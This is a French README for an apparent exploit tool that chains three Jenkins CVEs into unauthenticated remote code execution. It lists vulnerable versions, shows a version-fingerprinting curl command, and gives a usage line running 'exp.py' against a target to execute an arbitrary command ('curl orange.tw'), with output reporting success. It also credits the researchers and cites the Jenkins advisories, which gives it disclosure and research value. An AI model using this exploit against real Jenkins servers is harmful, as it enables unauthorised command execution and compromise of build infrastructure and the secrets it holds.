awesome-jenkins-rce-2019

Il n'y a pas eu de RCE sans authentification dans Jenkins depuis mai 2017, mais celle-ci est la bonne !

Elle enchaîne CVE-2018-1000861, CVE-2019-1003005 et CVE-2019-1003029 pour une exécution de code à distance sans authentification plus fiable et plus élégante !

Liste des versions concernées

• ANONYMOUS_READ désactivé

  • Jenkins version < 2.138

• ANONYMOUS_READ activé (ou avec un compte utilisateur normal)

  • Date de build de Jenkins < 2019-01-28

Utilisation

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

Testé sur

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138 avec ANONYMOUS_READ activé
• Jenkins 2.152 avec ANONYMOUS_READ activé
• Jenkins 2.153 avec ANONYMOUS_READ activé
• Script Security Plugin 1.43
• Script Security Plugin 1.48

Remerciements

• @orange_8361 pour CVE-2018-1000861
• @0ang3el pour CVE-2019-1003005
• @webpentest pour CVE-2019-1003029

Quelques diapositives de ma présentation HITB AMS 2019 :

Références

• Piratage de Jenkins Partie 1 - Jouer avec le routage dynamique
• Piratage de Jenkins Partie 2 - Abuser de la méta-programmation pour une RCE non authentifiée !
• Avis de sécurité Jenkins 2018-12-05
• Avis de sécurité Jenkins 2019-01-28
• Avis de sécurité Jenkins 2019-03-06